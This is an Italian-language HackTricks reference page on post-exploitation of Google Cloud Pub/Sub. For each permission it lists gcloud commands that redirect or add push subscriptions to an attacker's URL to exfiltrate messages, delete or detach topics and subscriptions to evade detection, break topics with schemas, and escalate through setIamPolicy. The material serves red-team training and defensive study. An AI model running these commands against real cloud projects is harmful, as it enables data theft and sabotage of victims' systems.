GCP - Pub/Sub Post Exploitation
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Pub/Sub
Per ulteriori informazioni su Pub/Sub, controlla la seguente pagina:
pubsub.topics.publish
Pubblica un messaggio in un argomento, utile per inviare dati inaspettati e attivare funzionalità inaspettate o sfruttare vulnerabilità:
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
pubsub.topics.detachSubscription
Utile per impedire a un abbonamento di ricevere messaggi, forse per evitare il rilevamento.
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
pubsub.topics.delete
Utile per impedire a una sottoscrizione di ricevere messaggi, forse per evitare il rilevamento.
È possibile eliminare un argomento anche con le sottoscrizioni ad esso collegate.
gcloud pubsub topics delete <TOPIC NAME>
pubsub.topics.update
Usa questo permesso per aggiornare alcune impostazioni del topic per interromperlo, come --clear-schema-settings
, --message-retention-duration
, --message-storage-policy-allowed-regions
, --schema
, --schema-project
, --topic-encryption-key
...
pubsub.topics.setIamPolicy
Concediti il permesso di eseguire uno qualsiasi degli attacchi precedenti.
pubsub.subscriptions.create,
pubsub.topics.attachSubscription
, (pubsub.subscriptions.consume
)
Ottieni tutti i messaggi in un server web:
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
Crea un abbonamento e usalo per estrarre messaggi:
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
pubsub.subscriptions.delete
Eliminare un abbonamento potrebbe essere utile per interrompere un sistema di elaborazione dei log o qualcosa di simile:
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
Usa questo permesso per aggiornare alcune impostazioni in modo che i messaggi siano memorizzati in un luogo accessibile (URL, tabella Big Query, Bucket) o semplicemente per interromperlo.
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
pubsub.subscriptions.setIamPolicy
Concediti i permessi necessari per eseguire uno qualsiasi degli attacchi precedentemente commentati.
pubsub.schemas.attach
, pubsub.topics.update
,(pubsub.schemas.create
)
Attacca uno schema a un argomento in modo che i messaggi non lo soddisfino e quindi l'argomento venga interrotto.
Se non ci sono schemi, potresti doverne creare uno.
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
Questo potrebbe sembrare che eliminando uno schema sarai in grado di inviare messaggi che non soddisfano lo schema. Tuttavia, poiché lo schema verrà eliminato, nessun messaggio entrerà effettivamente all'interno dell'argomento. Quindi questo è INUTILE:
gcloud pubsub schemas delete <SCHEMA NAME>
pubsub.schemas.setIamPolicy
Concediti i permessi necessari per eseguire uno qualsiasi degli attacchi precedentemente commentati.
pubsub.snapshots.create
, pubsub.snapshots.seek
Questo creerà uno snapshot di tutti i messaggi non ACK e li rimetterà nell'abbonamento. Non molto utile per un attaccante, ma ecco:
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.